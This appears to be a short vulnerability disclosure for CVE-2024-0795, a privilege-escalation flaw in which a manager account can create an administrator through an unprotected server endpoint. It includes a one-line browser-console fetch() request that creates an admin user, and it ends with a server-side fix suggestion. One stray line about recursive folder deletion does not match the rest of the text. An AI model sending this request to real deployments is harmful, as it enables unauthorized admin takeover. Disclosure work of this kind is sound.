CVE-2024-0795 - Improper acces control / admin account takeover

Sat, 02 Mar 2024 00:00:00 +0000

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

Multi-user mode activated
Be manager

👀 Observation

We can see in the ui the manager account cannot create / add / modify admin account however the protection is not present in the server.

💥 Proof of Concept

Here is the actual users :

I will use raltheo2 account.

I open chrome dev tools
Inside the console I put :

fetch('/api/admin/users/new', {method: 'POST',headers: {'Authorization': `Bearer ${localStorage.getItem('anythingllm_authToken')}`,'Content-Type':'application/json'}, body: JSON.stringify({username: 'supadmin9', password: 'password', role: 'admin'})})

This will create an administrator account named supadmin9 with password password

Now login into your new admin account :)

🛠️ Fix suggestion

Separation should be made between admin and manager in server side as in the frontend.

🖊️ références

You can find the report here and the CVE details here.